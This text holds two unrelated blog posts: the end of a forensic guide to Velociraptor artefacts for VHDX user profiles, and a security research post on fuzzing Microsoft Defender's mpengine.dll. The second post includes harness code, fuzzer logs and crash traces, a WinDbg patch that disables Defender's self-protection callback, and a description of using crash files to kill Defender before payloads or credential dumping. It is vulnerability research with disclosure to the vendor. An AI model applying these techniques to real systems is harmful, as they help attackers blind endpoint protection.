Virtual client runner: launches Velociraptor processes with profile mappings
Cleanup manager: shuts down virtual clients and removes config artefacts

Windows.Sys.Users (Override)

This custom override of the standard Windows.Sys.Users artefact handles both traditional systems and virtual clients. It determines which enumeration logic to use based on a label assigned to the client (e.g. remapped_profile).
Parameters:

remoteRegKey: Location of the registry key holding the profile list.
labelName: Client label that signals the use of VHDX-based enumeration.

In standard mode, it enumerates from the Windows registry. For virtual clients, it uses a glob search for C:\Users\*\NTUSER.DAT, indicating valid user hives within mounted VHDX files.

Windows.Vhdx.RemapConfigBuilder

This artefact generates the remapping configuration files required by each virtual Velociraptor client. It automatically detects user profiles, organises them into batches, and writes the YAML files to disk.
Parameters:

vhdxFolderPath: Directory containing VHDX profile files.
usernameExtractor: Regex used to extract usernames from filenames.
user: Optional filter to restrict which profiles to process.
virtualHostname: Hostname to assign to the virtual clients.
batchSize: Number of profiles per virtual client.
vhdxOffset: NTFS start offset inside VHDX (default: 1048576).

The artefact creates a Vhdx/Remapping directory within the Velociraptor staging directory and populates it with one YAML file per batch. Filenames are sorted using the first extracted username for easy lookup. Internally, the artefact uses:

Shadow remapping for data, raw_reg, and zip accessors
Mount remapping for ntfs, file, auto, and registry accessors

Once executed, the artefact will list the path of the created profiles in the results section.

Windows.Vhdx.VirtualClientRunner

This artefact launches one Velociraptor process per remapping file, effectively simulating a client that represents a set of user profiles.
Parameters:

customLabel: Label to assign to virtual clients (must match label used in Windows.Sys.Users).
remappingFile: One or more remapping YAML files to launch.

It creates a subdirectory Vhdx/Writeback for temporary writeback data. Each remapping file is passed into a PowerShell process that starts the virtual client. Once executed, the artefact lists all successfully started virtual clients.

Windows.Vhdx.VirtualClientRemover

This artefact stops running virtual clients and optionally deletes all related configuration files.
Parameters:

RemappingFile: Specific remapping file or directory to target.
RemoveConfiguration: If enabled, deletes Vhdx folder and its subfolders.
ReallyKillProcess: If enabled, terminates running Velociraptor processes.

It searches for running clients based on remapping file usage and performs cleanup accordingly.

Security Considerations

All testing described in this research was conducted on offline VHDX files, that is, files no longer actively managed by services like Citrix or Windows profile management tools.
In live environments, where VHDX profiles may still be in use or mounted, several risks should be considered:

Writeback conflicts: If Velociraptor or the OS attempts to write to an active VHDX file, it may result in data corruption or race conditions.
Profile locking: Some virtualisation platforms may lock VHDX files during use, preventing remapping or causing artefact failures.
System performance: Mounting and scanning a large number of VHDX files can place a significant load on the host system.

Recommendations:

Perform investigations on copies of VHDX files whenever possible.
Avoid using this approach directly on live Citrix or VDI environments without controlled testing.
Start with small user subsets and adjust batch size based on your environment's capacity.
Monitor resource usage (I/O, memory, open handles) when scaling beyond hundreds of profiles.

While we successfully analysed 1,000 small (2 GB) VHDX profiles in under a minute, larger profiles or more aggressive batching may introduce bottlenecks. Tailor your approach to match the capabilities and constraints of your infrastructure.

Availability on the Velociraptor Artifact Exchange

The entire VHDX Suite, including all artefacts presented in this article, is now available directly on the Velociraptor Artifact Exchange, the official community platform for sharing and maintaining Velociraptor artefacts.

This means you can easily install, review, or adapt these artefacts within your existing Velociraptor deployment without manual import. Publishing them through the Exchange also ensures they are peer-reviewed and accessible to the wider DFIR community, supporting transparency and collaboration.

If you wish to explore, test, or contribute improvements, simply search for the VHDX Suite by name on the Exchange portal or use the built-in Velociraptor GUI integration to fetch them directly.

Conclusion

This VHDX Velociraptor artefact suite provides a scalable and efficient method for conducting forensic investigations across user profiles stored in VHDX files. By leveraging virtual clients with remapped environments, analysts can reuse standard artefacts, such as UserAssist or NTUSER.DAT parsers, without modification.

In our testing, this approach enabled the analysis of over 1,000 VHDX profiles in under a minute, significantly reducing the effort and complexity traditionally associated with VHDX triage.
While further validation is recommended in live or larger-scale environments, this methodology opens the door to high-volume, profile-level investigations using familiar DFIR tooling, without sacrificing speed or forensic integrity.

The VHDX Suite artefacts featured in this post are now available on the Velociraptor Artifact Exchange, enabling practitioners to deploy and experiment with this workflow directly within their own environments.

Attacking EDRs Part 4: Fuzzing Defender's Scanning and Emulation Engine (mpengine.dll)

Manuel Feifel — Fri, 23 May 2025 00:00:00 GMT

This blog post is part of a series analyzing the attack surface for Endpoint Detection and Response (EDR) solutions by p0w1_. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 (this post) describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction

Microsoft Defender (and Defender for Endpoint) is a very interesting target for attackers. It's installed by default, runs as SYSTEM, has 1-click remote attack surface and has a vast codebase that parses and unpacks numerous file formats, making it prone to memory corruption vulnerabilities. Despite this, it does not receive much attention from public vulnerability researchers.

Tavis Ormandy from Google Project Zero was one of the first to look into it and find an exploitable vulnerability CVE-2017-8558. He created a DLL loader on Linux to fuzz it called loadlibrary because at that time, no suitable Windows fuzzer for this target was available. Another RCE is CVE-2021-34522. Afterwards, relatively little research or vulnerabilities were published, which motivated me to explore this target.

2. Summary

Microsoft Defender and Defender for Endpoint include a local analysis engine mpengine.dll, to identify potentially malicious files. This engine performs static checks and uses emulation environments for different file types. This target was fuzzed on Windows mainly using the snapshot fuzzer WTF. Additionally, kAFL/NYX and Jackalope were tested. WTF found nine different bugs (OOB-reads and null dereferences), some of which can be used to crash Defender(MsMpEng.exe) under normal conditions. Some bugs only lead to a crash with PageHeap enabled. However, after my analysis, none of the bugs appear to be exploitable for code execution. Therefore, these bugs can primarily be used to kill Defender, allowing subsequent malicious actions without detection or prevention. For example, a malicious file could be delivered alongside an initial access payload to kill Defender before the payload executes. Alternatively, it could be used in an internal network to disable Defender by uploading the file to a target host or share before dumping credentials.

Microsoft officially doesn't care about these vulnerabilities and responds with the famous:

After careful investigation, this case has been assessed as moderate severity and does not meet MSRC’s bar for immediate servicing.

Despite this, they have probably quietly fixed at least one reported bug within a few weeks.

Update: Shortly after this post was published, all bugs were fixed silently.

3. How to fuzz `mpengine.dll`?

In 2017, Google Project Zero fuzzed it on Linux by creating a DLL loader and writing this harness. The original harness does no longer work on newer mpengine versions but this could be fixed by some changes. In 2022, S2W ported the harness to a newer mpengine version (though not publicly released) and fuzzed it using Jackalope.

Both approaches manually booted mpengine using RSIG_BOOTENGINE and then initiated a scan by RSIG_SCAN_STREAMBUFFER:

BootParams.ClientVersion = BOOTENGINE_PARAMS_VERSION;
BootParams.Attributes    = BOOT_ATTR_NORMAL;
BootParams.SignatureLocation = L"engine";
BootParams.ProductName = L"Legitimate Antivirus";
EngineConfig.QuarantineLocation = L"quarantine";
EngineConfig.Inclusions = L"*.*";
EngineConfig.EngineFlags = 1 << 1;
BootParams.EngineInfo = &EngineInfo;
BootParams.EngineConfig = &EngineConfig;
KernelHandle = NULL;
__rsignal(&KernelHandle, RSIG_BOOTENGINE, &BootParams, sizeof BootParams) != 0

[...]

ScanParams.Descriptor        = &ScanDescriptor;
ScanParams.ScanReply         = &ScanReply;
ScanReply.EngineScanCallback = EngineScanCallback;
ScanReply.field_C            = 0x7fffffff;
ScanDescriptor.Read          = ReadStream;  //The fuzzing payload is read by this function
ScanDescriptor.GetSize       = GetStreamSize;
ScanDescriptor.GetName       = GetStreamName;
__rsignal(&KernelHandle, RSIG_SCAN_STREAMBUFFER, &ScanParams, sizeof ScanParams)

The question for me was: does this actually scan the content in the exact same way as when a file or stream is scanned under normal operating conditions? Perhaps there are other configurations, or it scans files differently than streams?

While browsing mpengine.dll in IDA, I noticed many configuration options that could influence fuzzing results if they differed from a real environment:

Therefore, I decided to use a different approach by using snapshot fuzzing with WTF. This way, mpengine.dll is already booted and configured identically to a real environment. Additionally, a file-based scan can be used instead of a stream when taking a snapshot after initiating a file scan. An overview of the steps to use WTF are already described in Part 2, Section 3

A manual file scan for Defender can be triggered using MpCmdRun.exe. However, this does not trigger the scan in the same process but instead sends a RPC request and then uses the exported function rsignal to initiate the scan within mpengine.dll loaded by MsMpEng.exe.

The next step is to debug Defender in order to understand where the scans occur.

3.1 Debugging Defender

The target process that needs to be debugged is MsMpEng.exe. However, AVs/EDRs have self-protection features to prevent debugging or code injection.

There are two main options to debug it:

1.) Use a user mode debugger and bypass restrictions

Use PPLControl to elevate the debugging process to PPL-WinSystem. Afterwards, this process can access other PPL processes, such as Defender's.

However, kernel callbacks still prevent access to MsMpEng.exe. These can be removed by overwriting a central callback function in the Defender kernel driver WdFilter.sys using WinDBG as a kernel debugger:

0: kd> a WdFilter!MpObPreOperationCallback
fffff807`1e5cd100 xor eax,eax
fffff807`1e5cd102 ret
fffff807`1e5cd103 
0: kd> u WdFilter!MpObPreOperationCallback
WdFilter!MpObPreOperationCallback:
fffff807`1e5cd100 31c0            xor     eax,eax
fffff807`1e5cd102 c3              ret
fffff807`1e5cd103 284883          sub     byte ptr [rax-7Dh],cl
fffff807`1e5cd106 7a08            jp      WdFilter!MpObPreOperationCallback+0x10 (fffff807`1e5cd110)
fffff807`1e5cd108 00742e48        add     byte ptr [rsi+rbp+48h],dh
fffff807`1e5cd10c 8b05de33feff    mov     eax,dword ptr [WdFilter!ExDesktopObjectType (fffff807`1e5b04f0)]
fffff807`1e5cd112 488b4a10        mov     rcx,qword ptr [rdx+10h]
fffff807`1e5cd116 483b08          cmp     rcx,qword ptr [rax]

Afterwards, a debugger can be attached regularly:

2.) Use WinDBG as a kernel debugger and follow the MsMpEng.exe process.

After attaching WinDBG (e.g., with KDNET), set the debugger's context to the target process:

kd> !process 0 0 MsMpEng.exe
PROCESS ffffb385a10d0080
    SessionId: 0  Cid: 0df8    Peb: 22c10a0000  ParentCid: 0288
    DirBase: 1a431e000  ObjectTable: ffffe08888ed27c0  HandleCount: 452.
    Image: MsMpEng.exe

kd> .process /i /p ffffb385a10d0080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`829fedc0 cc              int     3
kd> .reload /user
Loading User Symbols
.....................................................
kd> lmu
start             end                 module name
00007ff7`15a50000 00007ff7`15a6f000   MsMpEng    (deferred)             
00007ffe`52430000 00007ffe`5247d000   wscapi     (deferred)             
00007ffe`59090000 00007ffe`5a29f000   mpengine   (deferred)   

kd> bp /p ffffb385a10d0080 mpengine!UfsScannerWrapper::ScanFile
kd> g
Breakpoint 1 hit
mpengine!UfsScannerWrapper::ScanFile:
0033:00007ffe`5926fba0 48895c2408      mov     qword ptr [rsp+8],rbx

Now, you can use ret-sync to synchronize the debugger's position with a static analysis tool like IDA Pro. This allows stepping through decompiled code, which is very helpful:

4. Fuzzing

4.1 WTF Snapshot Position

The next step is to take a snapshot at a good position that primarily executes the interesting target code. Fortunately, public debug symbols for Mpengine.dll are typically released some days or weeks after a new version. However, this DLL is almost 20MB and it's not easy to navigate. Therefore, I used ProcMon from Sysinternals to identify the code location where the target file is read.

The best position would be after the file content is loaded into memory and passed as an argument to a scan function, like so:

res = readFile(path);
scanFile(res.content, res.size);  //Take snapshot on this line

However, the actual code is not that straightforward. I decided to take the snapshot before the file is read and then inject the fuzzing payloads in a virtual implementation of ReadFile in WTF. The initial problem was, that the code called functions which accessed hardware such as the file system. This is not available in WTF as it only emulates memory and CPU. WTF already implements some virtual file system functions in fshooks.cc, but additional ones needed to be added. At the end the snapshot was taken within mpengine!SysIo::OpenFile after a call to FilterOplock::AcquireOplock because this function was not implemented virtually.

__int64 __fastcall SysIo::OpenFile(
        SysIo *this,
        wchar_t *file_path,
        unsigned int a3,
        unsigned int access_flags,
        unsigned int share_mode,
        struct IFile **a6,
        struct IFile *a7)
[...]

Snapshot position at mpengine+0x15469A (within SysIo::OpenFile)

4.2 WTF Harness

Writing a harness for WTF (see dummy-template) differs from typical fuzzers like AFL++, WinAFL, Jackalope, or LibFuzzer. Usually, the harness needs to set up the target and call the target function. For WTF, it typically only needs to inject the fuzzing payload and size at the correct memory location. In this case, however, the fuzzing payload needs to be provided to the ReadFile function.

The following code shows the cropped code:

bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
  [...]
  std::u16string GuestFile = uR"(\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe)";
  
  g_FsHandleTable.MapExistingGuestFile(GuestFile.c_str(), Buffer, BufferSize);
  //g_FsHandleTable.AddHandle(HANDLE(0x97c), GuestFileFile); //Alternatively, if the file is already opened, it can be mapped to a handle.
}

The debug print statements of the hooked file functions confirm that the file is opened and read correctly:

PS > .\wtf.exe run --name defender_file --input .\test --state .\state2_MpEngine1.1.2310_PHenabled_locked\ 
Setting @fptw to 0xff'ff.
Initializing the debugger instance.. (this takes a bit of time)
Setting debug register status to zero.
Setting debug register status to zero.
DEBUG: 0
Could not set a breakpoint at hal!HalpPerfInterrupt.
Failed to set breakpoint on HalpPerfInterrupt, but ignoring..
Running .\test
fs: Mapping already existing guest file \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe with filestream(16483)
fs: ntdll!NtCreateFile(FileHandle=0x9f0c8fc848, DesiredAccess=0x120089, ObjectAttributes=0x9f0c8fc880 (\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe), IoStatusBlock=0x9f0c8fc870, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7 (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE), CreateDisposition=0x1 (FILE_OPEN), CreateOptions=0x160 (FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_COMPLETE_IF_OPLOCKED), EaBuffer=0x0, EaLength=0x0)
fs: IsBlacklisted: false
fs: Exists: true
fs: Opening 0x7ffffffe for \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe
fs: ntdll!NtQueryVolumeInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc9b0, FsInformation=0x9f0c8fc9e0, Length=0x8, FsInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc980, FileInformation=0x9f0c8fc990, Length=0x28, FileInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fca20, FileInformation=0x9f0c8fca30, Length=0x18, FileInformationClass=0x5)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc848, FileInformation=0x9f0c8fc840, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc870, Buffer=0x231017abfe0, Length=0x1000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc838, FileInformation=0x9f0c8fc830, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc860, Buffer=0x231017aefe0, Length=0x2000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8f9de8, FileInformation=0x9f0c8f9de0, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8f9e10, Buffer=0x231017acfe0, Length=0x4000, ByteOffset=0x0, Key=0x0)

In order to debug the fuzzing process, it is useful to set breakpoints in interesting functions to see if they are called:

bool Init(const Options_t &Opts, const CpuState_t &) {
  if (!g_Backend->SetBreakpoint("mpengine!UfsScannerWrapper::ScanFile", [](Backend_t *Backend) {
        DebugPrint("Called ScanFile()\n");          
      })) {
    DebugPrint("Failed to SetBreakpoint mpengine!UfsScannerWrapper::ScanFile\n");
    return false;
  }

Additionally, the coverage output can be loaded in Lighthouse or tenet-traces can be created.

During tests with a small corpus, too many context switches (changes to the CR3 register) occurred. These negatively impact performance in snapshot fuzzers. Most could be resolved by skipping certain functions. For example, mpengine!IsTrustedFile attempted to load certificate files from disk to verify trust. Such functions can be skipped:

if (!g_Backend->SetBreakpoint("mpengine!IsTrustedFile", [](Backend_t *Backend) {
        DebugPrint("mpengine!IsTrustedFile Hook SKIP 0x0");
        Backend->SimulateReturnFromFunction(0);
      })) {
    DebugPrint("Failed to SetBreakpoint IsTrustedFile");
    return false;
  }

The fuzzing speed with the BochsCPU backend was impractically slow, but using KVM, I achieved 30-100 exec/s on a modern server CPU depending on the file size and type. The target executes billions of instructions depending on the payload, so really high speeds cannot be expected. Even on a real system, some files can take multiple seconds to scan.

4.3 Initial Corpus

A large and diverse corpus is essential for this target, as it parses numerous file types, including packed files that coverage-guided fuzzing alone might not effectively explore without good initial seeds. The files which are interesting for Defender are actual malware. And the perfect place to find a huge amout of malware is VX-Underground.

Seeding the initial corpus took multiple days, but it resulted in a good coverage increase, with over 10,000 files yielding distinct coverage.

4.4 Fuzzing with WTF

Snapshots were taken with and without PageHeap enabled for MsMpEng.exe. As the target is rather slow and memory-heavy, the speed without PageHeap is significantly higher. Therefore, fuzzing was first run without PageHeap to explore coverage and subsequently with PageHeap to catch more bugs.

./wtf master --name defender_file --inputs inputs --runs 100000000  --max_len 100000 
Iterating through the corpus..
Sorting through the 219701 entries..
#8151 cov: 56117 (+56117) corp: 1503 (9.9kb) exec/s: 815.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 0 uptime: 1.4min
#14182 cov: 67734 (+11617) corp: 2430 (31.4kb) exec/s: 709.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 28 uptime: 1.6min
#19470 cov: 72835 (+5101) corp: 3103 (58.8kb) exec/s: 649.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 47 uptime: 1.7min
#23475 cov: 79492 (+6657) corp: 3540 (85.0kb) exec/s: 586.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 49 uptime: 1.9min
#25946 cov: 81771 (+2279) corp: 3774 (102.4kb) exec/s: 518.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 56 uptime: 2.0min
#29398 cov: 85851 (+4080) corp: 4156 (136.9kb) exec/s: 489.0 (23 nodes) lastcov: 0.0s crash: 8 timeout: 0 cr3: 63 uptime: 2.2min
#33006 cov: 88877 (+3026) corp: 4487 (173.8kb) exec/s: 471.0 (23 nodes) lastcov: 0.0s crash: 9 timeout: 0 cr3: 66 uptime: 2.4min
#35472 cov: 92594 (+3717) corp: 4784 (213.7kb) exec/s: 443.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 70 uptime: 2.5min
#37112 cov: 94070 (+1476) corp: 4950 (239.0kb) exec/s: 412.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.7min
#38765 cov: 94880 (+810) corp: 5103 (264.7kb) exec/s: 387.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.9min
#39673 cov: 95412 (+532) corp: 5186 (279.8kb) exec/s: 360.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 3.0min
#41523 cov: 96330 (+918) corp: 5304 (302.9kb) exec/s: 346.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 78 uptime: 3.2min
#43117 cov: 97747 (+1417) corp: 5439 (331.6kb) exec/s: 331.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 93 uptime: 3.4min
#45219 cov: 99233 (+1486) corp: 5572 (363.2kb) exec/s: 322.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.5min
#47520 cov: 100210 (+977) corp: 5736 (404.8kb) exec/s: 316.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.7min
#49300 cov: 101207 (+997) corp: 5890 (447.6kb) exec/s: 308.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 95 uptime: 3.9min
#50935 cov: 102396 (+1189) corp: 6079 (502.5kb) exec/s: 299.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 98 uptime: 4.0min
#51692 cov: 103436 (+1040) corp: 6155 (525.7kb) exec/s: 287.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.2min
#51910 cov: 103602 (+166) corp: 6167 (529.3kb) exec/s: 273.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.4min
#52149 cov: 103634 (+32) corp: 6178 (532.7kb) exec/s: 260.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 100 uptime: 4.6min

./wtf fuzz --name defender_file  --state state2_MpEngine1.1.2310_PHenabled_locked --backend kvm

This is a fuzzing run of the already processed seeds from VX-Underground. The speed drops as the input file size increases, consequently making scanning take longer.

The maximum coverage of mpengine.dll I achieved before the fuzzer stopped at the end of the function mpengine!UfsScanFileCmd::Execute was around 154,000 basic blocks.

The fuzzing results and analysis of the crashes are described in Section 5. Results.

4.5 Fuzzing with kAFL/NYX

Since WTF, by default, includes relatively simple mutation strategies, I decided to use kAFL, which incorporates more advanced techniques like Redqueen. This can help fuzz through complex cmp instructions that are unlikely to be passed accidentally. I hoped this would yield more coverage.

Harness

As a harness I adapted mpclient.c from loadlibrary. Initially, I wanted to trigger a normal scan on the running system and then set hooks at the snapshotting position. However, there was no documentation on how to fuzz it by injecting and then triggering the kAFL interaction by using hooks. Recently, a new way of using NYX called Hyperhook is available. Using Hyperhook, a classic harness to initialize and call the target code is not necessary, and Defender could potentially be fuzzed in its original environment more easily.

The code of the harness based on mpclient.c is on Github: mpclient_defender_harness_kafl.c

A version to test the harness without hypercalls is also available: mpclient_defender_harness_withoutHypercalls.c

Initially, I used kAFL on a Hetzner server with an Intel Xeon Gold 5412U CPU, but this led to frequent libxdc_decode errors:

These errors did not occur in a previous setup on an older laptop. As the kAFL maintainers had not encountered these errors on other targets, I tested different CPUs on AWS bare-metal systems. Intel Xeon CPUs from the 3rd generation and newer seem to cause these errors. On Intel Xeon 1st and 2nd generation CPUs, the problem did not manifest.

Another problem is a memory consumption issue described in this GitHub Issue. The QEMU instances consume progressively more memory and eventually die. Reducing the number of running instances (to provide more memory per core) and periodically restarting the fuzzing process (e.g., after several days) helped mitigate this.

I used kAFL with Redqueen and Grimoire enabled and ran it for a month. It found some new coverage, but very little overall, and no new crashes. This was surprising, as I had expected better results from these advanced mutation techniques.

4.6 Fuzzing with Jackalope

As I already had a harness to trigger a scan using RSIG_SCAN_STREAMBUFFER from the kAFL harness, I wanted to test Jackalope as I hadn't used it before. However, Jackalope proved less suitable for this target because the initialization (loading mpengine.dll) is time-consuming, taking about 10 seconds per launch.

The code of the harness based on mpclient.c is on Github: jackalope_defender_harness_stream.c

Initially, the initialization happened for every single run because Jackalope restarts on new coverage even if you use persistent fuzzing. Therefore, -clean_target_on_coverage 0 is necessary.

However, the target still needed to reload frequently due to timeouts with some inputs. If the timeout was set low, the target reloaded frequently. If set high, it spent too much time on slow inputs. Additionally, many crashing files were already in the seeds, causing further reloads. Ultimately, it was too slow, making a snapshot fuzzer the better choice for mpengine.

PS C:\fuzzing\Jackalope\build\Release> .\fuzzer.exe -crash_retry 0 -generate_unwind -coverage_retry 0 -clean_target_on_coverage 0 -in seeds -out out -t1 100000 -t 10000 -delivery shmem -instrument_module mpengine.dll -target_module jackalope_defender_harness_stream.exe -target_method scanFile -nargs 0 -iterations 1000 -persist -loop -nthreads 1 -- jackalope_defender_harness_stream.exe "@@"
Fuzzer version 1.00
156019 input files read
Running input sample seeds\000132616d55e4bd0866cb5ed828dc88
setup shared mem shm_fuzz_31364_1
[+] Starting... jackalope_defender_harness_stream.exe
[+++++++] NEW START!
laoded dll
got rsignal addr 5fc0e2e0
size BootParams: 1b8

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 1

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 0

5. Results

The fuzzing was performed on an older version of mpengine.dll (1.1.23100.2009) as I had started reversing it some time ago and continued fuzzing later. However, most crashes could be reproduced on the new version 1.1.25040.1 from April 2025. Crash1 was likely fixed as Crash1 and Crash2 were reported to MSRC but both "did not meet MSRC’s bar for immediate servicing". Crash5 and Crash6 no longer trigger a crash in the latest version; I did not verify if the underlying issue was fixed or if other code changes merely altered the path.

To reproduce these crashes, enable full PageHeap for MsMpEng.exe. This can be done by booting Windows in Safe Mode, making the change, and then restarting. Otherwise, access is blocked. The files are available here.

Here is a list of the identified bugs (note: mpengine.dll base address was 0x7ffcdbab0000):

crash1-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc670b03

Crashes without PageHeap in most attempts. It was likely fixed in an unknown version after being reported to MSRC. This is the only bug which triggerd in a real environment but not with the harness using RSIG_SCAN_STREAMBUFFER.

File type: Java archive data (JAR)

mpengine!strncmp+0x13
mpengine!RpfAPI_strncmp+0xa3
mpengine!netvm_method_call+0x1b2
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!scan_rpf+0x6c
mpengine!kcrce_scanfilelast+0x42
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash2-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbba5fdf

Null Pointer Dereference. Reliably crashes Defender.

File type: unknown

mpengine!FilteredTrie<unsigned long,FilteredTrieSerializer<unsigned long>,1>::match+0x603
mpengine!hstr_internal_search_worker+0x108
mpengine!hstr_internal_search+0x7e
mpengine!DmgScanner::Scan+0x682
mpengine!dmg_scanfile+0x63
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash3-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a4acb

OOB Read of 4 bytes (reserved but unallocated memory). Only crashes with PageHeap.

File type: PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections

mpengine!memcpy_repmovs+0xb 05f4acb
mpengine!CachedFile::InternalWrite+0x376  002f6266
mpengine!CachedFile::Write+0x3c 002f5edc
mpengine!vfo_write+0x92 00163822
mpengine!RpfAPI_vfo_write+0x5a  08b2c1a
mpengine!netvm_method_call+0x1b2  08b5ad6
mpengine!netvm_emulate+0x758  0010d468
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!rpf_pInvoke_PE+0x5d
mpengine!pefile_call_breakpoint_handlers+0x93
mpengine!kvscanpage4sig+0x150
mpengine!scan_PE_context::jmp_scan+0xfc
mpengine!BasicBlocksInfo::scan_BB+0x71
mpengine!DTscan_worker<0>+0x22f
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!scan_pe_redtscan+0x167
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

crash4-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbb6e1e7

OOB Read on finding executable in a virtual file system. Only crashes with PageHeap.

File type: JavaScript?

mpengine!MpSuppFindExecutable+0x5f
mpengine!MpSuppCreate+0x26f
mpengine!PreCreateProcess+0x9b
mpengine!pe_create_process+0x117
mpengine!KERNEL32_DLL_WinExec+0xf3
mpengine!__call_api_by_crc+0x1c4
mpengine!x32_parseint+0x71
mpengine!BasicBlocksInfo::safe_execute+0x53
mpengine!IL_2_exe<0>+0x8a3
mpengine!DTscan_worker<0>+0xcfb
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

crash5-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc3d3b22

Interestingly, Defender scans and emulates Mach-O files on Windows. This OOB read initially seemed promising, as a size variable could potentially be influenced if the memory layout is controllable. However, it could not be turned into an OOB write. Only crashes with PageHeap.

File type: Mach-O 64-bit x86_64 dynamically linked shared library, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL>

mpengine!macho_lua_api_GetSegment+0x102
mpengine!luaD_precall+0x205
mpengine!luaV_execute+0x407
mpengine!luaD_call+0x35
mpengine!luaD_rawrunprotected+0x5b
mpengine!ExecuteLuaScript+0x20e
mpengine!ValidateSignatureWithPcodeWorker2+0x1d9
mpengine!ValidateSignatureWithPcode+0x23
mpengine!CHSTRMatchHelper::ProcMatchLevel+0xab
mpengine!hstr_internal_report_match_worker+0x2c5
